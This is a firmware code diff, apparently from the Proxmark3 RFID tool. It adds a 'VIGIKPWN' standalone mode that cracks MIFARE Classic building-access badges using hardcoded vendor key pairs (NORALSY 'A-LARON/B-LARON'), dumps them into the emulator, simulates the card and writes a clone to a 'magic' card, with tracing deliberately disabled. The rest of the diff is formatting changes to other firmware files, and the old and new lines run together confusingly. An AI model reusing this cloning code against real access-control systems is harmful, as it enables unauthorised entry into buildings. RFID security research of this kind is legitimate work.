foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
} }
} }
trapped = 1; trapped = 1;
break; break;
case 0x414c41524f4e: ////////////////END OF SCHEME 2//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A"
case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair
case 0x424c41524f4e: case 0x424c41524f4e:
Dbprintf("%c>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%c", _RED_, _WHITE_); Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
Dbprintf(" .TAG SEEMS %cDETERMINISTIC%c. ", _GREEN_, _WHITE_); Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
Dbprintf("%c Detected :%cNORALSY_VIGIK_TAG %c", _ORANGE_, _CYAN_, _WHITE_); Dbprintf("%s Detected :%sNORALSY_VIGIK_TAG %s", _ORANGE_, _CYAN_, _WHITE_);
Dbprintf("...%c[%cKey_derivation_schemeTest%c]%c...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
Dbprintf("%c>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%c", _GREEN_, _WHITE_); Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
; ;
t = 0; t = 0;
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
num_to_bytes(0x414c41524f4e, 6, foundKey[t][sectorNo]); num_to_bytes(0x414c41524f4e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
); ;
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
} }
t = 1; t = 1;
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
num_to_bytes(0x424c41524f4e, 6, foundKey[t][sectorNo]); num_to_bytes(0x424c41524f4e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
} }
trapped = 1; trapped = 1;
break; break;
////////////////END OF SCHEME 3//////////////////////////////
} }
/* etc etc for testing schemes quick schemes */ /* etc etc for testing schemes quick schemes */
} }
} }
} }
if (!allKeysFound) { if (!allKeysFound) {
cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
return; Dbprintf("%s>> FAIL : did not found all the keys :'(%s", _RED_, _WHITE_);
} return;
}
/* Settings keys to emulator */ /* Settings keys to emulator */
emlClearMem(); emlClearMem();
uint8_t mblock[16]; uint8_t mblock[16];
for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
for (uint8_t t = 0; t < 2; t++) { for (uint8_t t = 0; t < 2; t++) {
memcpy(mblock + t * 10, foundKey[t][sectorNo], 6); memcpy(mblock + t * 10, foundKey[t][sectorNo], 6);
}
emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
} }
Dbprintf("%c>>%c Setting Keys->Emulator MEM...[%cOK%c]", _YELLOW_, _WHITE_, _GREEN_, _WHITE_); emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
}
Dbprintf("%s>>%s Setting Keys->Emulator MEM...[%sOK%s]", _YELLOW_, _WHITE_, _GREEN_, _WHITE_);
/* filling TAG to emulator */ /* filling TAG to emulator */
uint8_t filled = 0 uint8_t filled = 0;
Dbprintf("%c>>%c Filling Emulator <- from A keys...", _YELLOW_, _WHITE_); Dbprintf("%s>>%s Filling Emulator <- from A keys...", _YELLOW_, _WHITE_);
/* no trace, no dbg */ e_MifareECardLoad(sectorsCnt, 0, 0, &filled);
MifareECardLoad(sectorsCnt, 0, 0, &filled); if (filled != 1) {
if (filled != 1) { Dbprintf("%s>>%s W_FAILURE ! %sTrying fallback B keys....", _RED_, _ORANGE_, _WHITE_);
Dbprintf("%c>>%c W_FAILURE ! %cTrying fallback B keys....", _RED_, _ORANGE_, _WHITE_);
/* no trace, no dbg */ /* no trace, no dbg */
MifareECardLoad(sectorsCnt, 1, 0, &filled); e_MifareECardLoad(sectorsCnt, 1, 0, &filled);
if (filled != 1) { if (filled != 1) {
Dbprintf("FATAL:EML_FALLBACKFILL_B"); Dbprintf("FATAL:EML_FALLBACKFILL_B");
cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
return;
}
}
end_time = GetTickCount();
Dbprintf("%c>>%c Time for VIGIK break :%c%dms%c", _GREEN_, _WHITE_, _YELLOW_, end_time - start_time, _WHITE_);
cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
return; return;
} }
} }
end_time = GetTickCount();
Dbprintf("%s>>%s Time for VIGIK break :%s%dms%s", _GREEN_, _WHITE_, _YELLOW_, end_time - start_time, _WHITE_);
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
// SIM ?
Dbprintf("-> We launch Emulation ->");
Dbprintf("%s HOLD ON : %s When you'll click, simm will stop", _RED_, _WHITE_);
Dbprintf("Then %s immediately %s Well' try to %s dump our emulator state%s in a %s chinese tag%s", _RED_, _WHITE_, _YELLOW_, _WHITE_, _CYAN_, _WHITE_);
Dbprintf("SimulaWaiting...");
Mifare1ksim(0, 0, 0, NULL);
Dbprintf("<- We're out of Emulation");
// END SIM
/*for (;;) {
WDT_HIT();
int button_action = BUTTON_HELD(500);
if (button_action == 0) { // No button action, proceed with sim
SpinDelay(100);
WDT_HIT();
} else if (button_action == BUTTON_SINGLE_CLICK) {
*/
Dbprintf("Trying a clone !");
saMifareMakeTag();
Dbprintf("End Cloning.");
WDT_HIT();
// break;
/*} else if (button_action == BUTTON_HOLD) {
Dbprintf("Playtime over. Begin cloning...");
iGotoClone = 1;
break;
}*/
// Debunk...
// SpinDelay(300);
Dbprintf("Endof Standalone ! You can take shell back");
return;
}
/*
case CMD_SIMULATE_MIFARE_CARD:
Dbprintf("-> We launch Emulation ->");
Mifare1ksim(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
Dbprintf("<- We're out of Emulation");
break;
case CMD_CJB_EML_MEMGET:
CJBEMemGet(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
break;
// Work with "magic Chinese" card
case CMD_MIFARE_CSETBLOCK:
MifareCSetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
break;
case CMD_MIFARE_CGETBLOCK:
MifareCGetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
break;
case CMD_MIFARE_CIDENT:
MifareCIdent();
break;
// Work with "magic Chinese" card
case CMD_MIFARE_CSETBLOCK:
MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
case CMD_MIFARE_CGETBLOCK:
MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
case CMD_MIFARE_CIDENT:
MifareCIdent();
break;
*/
/* Abusive microgain on original MifareECardLoad :
* - *datain used as error return
* - tracing is falsed
*/
void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) {
MF_DBGLEVEL = MF_DBG_NONE;
uint8_t numSectors = arg0;
uint8_t keyType = arg1;
uint64_t ui64Key = 0;
// uint32_t cuid;
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
byte_t dataoutbuf[16];
byte_t dataoutbuf2[16];
// uint8_t uid[10];
LED_A_ON();
LED_B_OFF();
LED_C_OFF();
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
clear_trace();
set_tracing(false);
bool isOK = true;
iso14443a_fast_select_card(cjuid, 0);
/* if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Can't select card");
}*/
for (uint8_t sectorNo = 0; isOK && sectorNo < numSectors; sectorNo++) {
ui64Key = emlGetKey(sectorNo, keyType);
if (sectorNo == 0) {
if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Sector[%2d]. Auth error", sectorNo);
break;
}
} else {
if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Sector[%2d]. Auth nested error", sectorNo);
break;
}
}
for (uint8_t blockNo = 0; isOK && blockNo < NumBlocksPerSector(sectorNo); blockNo++) {
if (isOK && mifare_classic_readblock(pcs, cjcuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Error reading sector %2d block %2d", sectorNo, blockNo);
break;
};
if (isOK) {
*datain = 1;
if (blockNo < NumBlocksPerSector(sectorNo) - 1) {
emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1);
} else { // sector trailer, keep the keys, set only the AC
emlGetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1);
memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4);
emlSetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1);
}
} else {
*datain = 0;
}
}
}
if (mifare_classic_halt(pcs, cjcuid)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("Halt error");
};
// ----------------------------- crypto1 destroy
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
if (MF_DBGLEVEL >= 2)
DbpString("EMUL FILL SECTORS FINISHED");
}
/* . . . */ /* . . . */
/* the chk function is a piwied(tm) check that will try all keys for /* the chk function is a piwied(tm) check that will try all keys for
a particular sector. also no tracing no dbg */ a particular sector. also no tracing no dbg */
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t * datain, uint64_t *key) { int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) {
MF_DBGLEVEL = MF_DBG_NONE;
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
set_tracing(false);
uint8_t uid[10];
uint32_t cuid;
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
// byte_t isOK = 0;
MF_DBGLEVEL = MF_DBG_NONE; for (int i = 0; i < keyCount; ++i) {
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); LEDsoff();
set_tracing(FALSE);
for (i = 0; i < keyCount; ++i) { /* no need for anticollision. just verify tag is still here */
/* no need for anticollision. just verify tag is still here */ if (!iso14443a_fast_select_card(cjuid, 0)) {
if (!iso14443a_select_card(uid, NULL, &cuid, true, 0 , true)) { // if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
cjat91_printf("FATAL : E_MF_LOSTTAG"); Dbprintf("FATAL : E_MF_LOSTTAG");
return -1; return -1;
} }
uint64_t ui64Key = bytes_to_num(datain + i * 6, 6); uint64_t ui64Key = bytes_to_num(datain + i * 6, 6);
if (mifare_classic_auth(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { if (mifare_classic_auth(pcs, cjcuid, blockNo, keyType, ui64Key, AUTH_FIRST)) {
uint8_t dummy_answer = 0;
ReaderTransmit(&dummy_answer, 1, NULL);
// wait for the card to become ready again
SpinDelayUs(AUTHENTICATION_TIMEOUT);
continue;
}
LED_A_ON();
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
*key = ui64Key;
return i;
}
LED_A_ON();
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return -1;
}
void saMifareMakeTag(void) {
// uint8_t cfail = 0;
Dbprintf(">> Write to Special");
int flags = 0;
LED_A_ON(); // yellow
for (int blockNum = 0; blockNum < 16 * 4; blockNum++) {
uint8_t mblock[16];
// cnt = 0;
emlGetMem(mblock, blockNum, 1);
// switch on field and send magic sequence
if (blockNum == 0)
flags = 0x08 + 0x02;
// just write
if (blockNum == 1)
flags = 0;
// Done. Magic Halt and switch off field.
if (blockNum == 16 * 4 - 1)
flags = 0x04 + 0x10;
if (saMifareCSetBlock(0, flags & 0xFE, blockNum, mblock)) { //&& cnt <= retry) {
// cnt++;
Dbprintf("Block :%d %sOK%s", blockNum, _GREEN_, _WHITE_);
// Dbprintf("FATAL:E_MF_CHINESECOOK_NORICE");
// cfail=1;
// return;
continue;
} else {
Dbprintf("%sFAIL%s : CHN_FAIL_BLK_%d_NOK", _RED_, _WHITE_, blockNum);
break;
}
Dbprintf("%s>>>>>>>> END <<<<<<<<%s", _YELLOW_, _WHITE_);
// break;
/*if (cfail == 1) {
Dbprintf("FATAL: E_MF_HARA_KIRI_\r\n");
break;
} */
}
}
//-----------------------------------------------------------------------------
// Matt's StandAlone mod.
// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn)
//-----------------------------------------------------------------------------
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) {
// params
uint8_t needWipe = arg0;
// bit 0 - need get UID
// bit 1 - need wupC
// bit 2 - need HALT after sequence
// bit 3 - need init FPGA and field before sequence
// bit 4 - need reset FPGA and LED
uint8_t workFlags = arg1;
uint8_t blockNo = arg2;
// card commands
uint8_t wupC1[] = {0x40};
uint8_t wupC2[] = {0x43};
uint8_t wipeC[] = {0x41};
// variables
byte_t isOK = 0;
uint8_t uid[10] = {0x00};
uint8_t d_block[18] = {0x00};
uint32_t cuid;
uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE];
uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE];
// reset FPGA and LED
if (workFlags & 0x08) {
LED_A_ON();
LED_B_OFF();
LED_C_OFF();
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
// clear_trace();
set_tracing(FALSE);
}
while (true) {
// get UID from chip
if (workFlags & 0x01) {
if (!iso14443a_fast_select_card(cjuid, 0)) {
// if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("Can't select card");
break;
};
if (mifare_classic_halt(NULL, cjcuid)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("Halt error");
break;
};
};
// reset chip
if (needWipe) {
ReaderTransmitBitsPar(wupC1, 7, 0, NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("wupC1 error");
break;
};
ReaderTransmit(wipeC, sizeof(wipeC), NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("wipeC error");
break;
};
if (mifare_classic_halt(NULL, cjcuid)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("Halt error");
break;
};
};
// chaud
// write block
if (workFlags & 0x02) {
ReaderTransmitBitsPar(wupC1, 7, 0, NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("wupC1 error");
break;
};
ReaderTransmit(wupC2, sizeof(wupC2), NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("wupC2 error");
break;
};
}
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("write block send command error");
break;
};
memcpy(d_block, datain, 16);
AppendCrc14443a(d_block, 16);
ReaderTransmit(d_block, sizeof(d_block), NULL);
if ((ReaderReceive(receivedAnswer, receivedAnswerPar) != 1) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("write block send data error");
break;
};
if (workFlags & 0x04) {
if (mifare_classic_halt(NULL, cjcuid)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("Halt error");
break;
};
}
isOK = 1;
break;
}
if ((workFlags & 0x10) || (!isOK)) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
}
return isOK;
}
uint8_t dummy_answer = 0;
ReaderTransmit(&dummy_answer, 1, NULL);
// wait for the card to become ready again
SpinDelayUs(AUTHENTICATION_TIMEOUT);
continue;
}
isOK = 1;
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
*key = ui64Key;
return i;
}
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return -1;
}

View file

@ -12,10 +12,50 @@
#ifndef __HF_COLIN_H #ifndef __HF_COLIN_H
#define __HF_COLIN_H #define __HF_COLIN_H
#include <stdbool.h> // for bool
#include "standalone.h" // standalone definitions
#include "iso14443a.h" #include "iso14443a.h"
//#include "printf.h"
#include "protocols.h" #include "protocols.h"
#include "standalone.h" // standalone definitions
#include <stdbool.h> // for bool
#define _RED_ "\x1b[31m"
#define _GREEN_ "\x1b[32m"
#define _YELLOW_ "\x1b[33m"
#define _BLUE_ "\x1b[34m"
#define _MAGENTA_ "\x1b[35m"
#define _CYAN_ "\x1b[36m"
#define _WHITE_ "\x1b[0m"
#define _ORANGE_ _YELLOW_
/*
#define _WHITE_ 0xc0
#define _GREEN_ 0xc1
#define _RED_ 0xc2
#define _BLUE_ 0xc3
#define _YELLOW_ 0xc4
#define _ORANGE_ 0xc5
#define _CYAN_ 0xc6
*/
/*
#define BRIGHT 1
#define RED 31
#define BG_BLACK 40
printf("%c[%d;%d;%dmHello World", 0x1B, BRIGHT, RED, BG_BLACK);
*/
/*
#define _ESC_ 0x1B
#define _WHITE_ 0xc0
#define _GREEN_ 0xc1
#define _RED_ 0xc2
#define _BLUE_ 0xc3
#define _YELLOW_ 0xc4
#define _ORANGE_ 0xc5
#define _CYAN_ 0xc6
*/
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key);
void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void saMifareMakeTag(void);
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
#endif /* __HF_COLIN_H */ #endif /* __HF_COLIN_H */

View file

@ -144,7 +144,8 @@ void Dbhexdump(int len, uint8_t *d, bool bAsci) {
// filter safe ascii // filter safe ascii
for (i=0; i<l; i++) for (i=0; i<l; i++)
if (ascii[i]<32 || ascii[i]>126) ascii[i]='.'; if (ascii[i] < 32 || ascii[i] > 126)
ascii[i] = '.';
if (bAsci) if (bAsci)
Dbprintf("%-8s %*D",ascii,l,d," "); Dbprintf("%-8s %*D",ascii,l,d," ");
@ -165,8 +166,7 @@ static int ReadAdc(int ch) {
uint32_t d; uint32_t d;
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST; AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST;
AT91C_BASE_ADC->ADC_MR = AT91C_BASE_ADC->ADC_MR = ADC_MODE_PRESCALE(63 /* was 32 */) | // ADC_CLK = MCK / ((63+1) * 2) = 48MHz / 128 = 375kHz
ADC_MODE_PRESCALE(63 /* was 32 */) | // ADC_CLK = MCK / ((63+1) * 2) = 48MHz / 128 = 375kHz
ADC_MODE_STARTUP_TIME(1 /* was 16 */) | // Startup Time = (1+1) * 8 / ADC_CLK = 16 / 375kHz = 42,7us Note: must be > 20us ADC_MODE_STARTUP_TIME(1 /* was 16 */) | // Startup Time = (1+1) * 8 / ADC_CLK = 16 / 375kHz = 42,7us Note: must be > 20us
ADC_MODE_SAMPLE_HOLD_TIME(15 /* was 8 */); // Sample & Hold Time SHTIM = 15 / ADC_CLK = 15 / 375kHz = 40us ADC_MODE_SAMPLE_HOLD_TIME(15 /* was 8 */); // Sample & Hold Time SHTIM = 15 / ADC_CLK = 15 / 375kHz = 40us
@ -227,8 +227,10 @@ void MeasureAntennaTuning(void) {
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, i); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, i);
SpinDelay(20); SpinDelay(20);
adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10);
if (i==95) vLf125 = adcval; // voltage at 125Khz if (i == 95)
if (i==89) vLf134 = adcval; // voltage at 134Khz vLf125 = adcval; // voltage at 125Khz
if (i == 89)
vLf134 = adcval; // voltage at 134Khz
LF_Results[i] = adcval >> 8; // scale int to fit in byte for graphing purposes LF_Results[i] = adcval >> 8; // scale int to fit in byte for graphing purposes
if(LF_Results[i] > peak) { if(LF_Results[i] > peak) {
@ -269,8 +271,7 @@ void MeasureAntennaTuningHf(void) {
void ReadMem(int addr) { void ReadMem(int addr) {
const uint8_t *data = ((uint8_t *)addr); const uint8_t *data = ((uint8_t *)addr);
Dbprintf("%x: %02x %02x %02x %02x %02x %02x %02x %02x", Dbprintf("%x: %02x %02x %02x %02x %02x %02x %02x %02x", addr, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]);
addr, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]);
} }
/* osimage version information is linked in */ /* osimage version information is linked in */
@ -339,9 +340,7 @@ void printUSBSpeed(void) {
Dbprintf(" Time elapsed............%dms", end_time - start_time); Dbprintf(" Time elapsed............%dms", end_time - start_time);
Dbprintf(" Bytes transferred.......%d", bytes_transferred); Dbprintf(" Bytes transferred.......%d", bytes_transferred);
Dbprintf(" USB Transfer Speed PM3 -> Client = %d Bytes/s", Dbprintf(" USB Transfer Speed PM3 -> Client = %d Bytes/s", 1000 * bytes_transferred / (end_time - start_time));
1000 * bytes_transferred / (end_time - start_time));
} }
/** /**
@ -400,6 +399,9 @@ void printStandAloneModes(void) {
#if defined(WITH_HF_MATTYRUN) #if defined(WITH_HF_MATTYRUN)
DbpString(" HF Mifare sniff/clone - aka MattyRun (Matta Real)"); DbpString(" HF Mifare sniff/clone - aka MattyRun (Matta Real)");
#endif #endif
#if defined(WITH_HF_COLIN)
DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)");
#endif
DbpString("Running "); DbpString("Running ");
//Dbprintf(" Is Device attached to USB| %s", USB_ATTACHED() ? "Yes" : "No"); //Dbprintf(" Is Device attached to USB| %s", USB_ATTACHED() ? "Yes" : "No");
@ -650,7 +652,8 @@ void UsbPacketReceived(uint8_t *packet, int len) {
ReadPCF7931(); ReadPCF7931();
break; break;
case CMD_PCF7931_WRITE: case CMD_PCF7931_WRITE:
WritePCF7931(c->d.asBytes[0],c->d.asBytes[1],c->d.asBytes[2],c->d.asBytes[3],c->d.asBytes[4],c->d.asBytes[5],c->d.asBytes[6], c->d.asBytes[9], c->d.asBytes[7]-128,c->d.asBytes[8]-128, c->arg[0], c->arg[1], c->arg[2]); WritePCF7931(c->d.asBytes[0], c->d.asBytes[1], c->d.asBytes[2], c->d.asBytes[3], c->d.asBytes[4], c->d.asBytes[5], c->d.asBytes[6], c->d.asBytes[9],
c->d.asBytes[7] - 128, c->d.asBytes[8] - 128, c->arg[0], c->arg[1], c->arg[2]);
break; break;
case CMD_EM4X_READ_WORD: case CMD_EM4X_READ_WORD:
EM4xReadWord(c->arg[0], c->arg[1], c->arg[2]); EM4xReadWord(c->arg[0], c->arg[1], c->arg[2]);
@ -690,9 +693,8 @@ void UsbPacketReceived(uint8_t *packet, int len) {
break; break;
case CMD_WR_HITAG_S: //writer for Hitag tags args=data to write,page and key or challenge case CMD_WR_HITAG_S: //writer for Hitag tags args=data to write,page and key or challenge
if ((hitag_function)c->arg[0] < 10) { if ((hitag_function)c->arg[0] < 10) {
WritePageHitagS((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes,c->arg[2]); WritePageHitagS((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes,c->arg[2]);
} } else if ((hitag_function)c->arg[0] >= 10) {
else if ((hitag_function)c->arg[0] >= 10) {
WriterHitag((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes, c->arg[2]); WriterHitag((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes, c->arg[2]);
} }
break; break;
@ -869,8 +871,10 @@ void UsbPacketReceived(uint8_t *packet, int len) {
break; break;
//mifare desfire //mifare desfire
case CMD_MIFARE_DESFIRE_READBL: break; case CMD_MIFARE_DESFIRE_READBL:
case CMD_MIFARE_DESFIRE_WRITEBL: break; break;
case CMD_MIFARE_DESFIRE_WRITEBL:
break;
case CMD_MIFARE_DESFIRE_AUTH1: case CMD_MIFARE_DESFIRE_AUTH1:
MifareDES_Auth1(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); MifareDES_Auth1(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
break; break;
@ -1111,7 +1115,8 @@ void UsbPacketReceived(uint8_t *packet, int len) {
case CMD_DEVICE_INFO: { case CMD_DEVICE_INFO: {
uint32_t dev_info = DEVICE_INFO_FLAG_OSIMAGE_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_OS; uint32_t dev_info = DEVICE_INFO_FLAG_OSIMAGE_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_OS;
if(common_area.flags.bootrom_present) dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT; if (common_area.flags.bootrom_present)
dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT;
cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0); cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0);
break; break;
} }
@ -1136,6 +1141,8 @@ void __attribute__((noreturn)) AppMain(void) {
LEDsoff(); LEDsoff();
usb_enable();
// The FPGA gets its clock from us from PCK0 output, so set that up. // The FPGA gets its clock from us from PCK0 output, so set that up.
AT91C_BASE_PIOA->PIO_BSR = GPIO_PCK0; AT91C_BASE_PIOA->PIO_BSR = GPIO_PCK0;
AT91C_BASE_PIOA->PIO_PDR = GPIO_PCK0; AT91C_BASE_PIOA->PIO_PDR = GPIO_PCK0;
@ -1155,8 +1162,6 @@ void __attribute__((noreturn)) AppMain(void) {
StartTickCount(); StartTickCount();
// Init USB device
usb_enable();
#ifdef WITH_LCD #ifdef WITH_LCD
LCDInit(); LCDInit();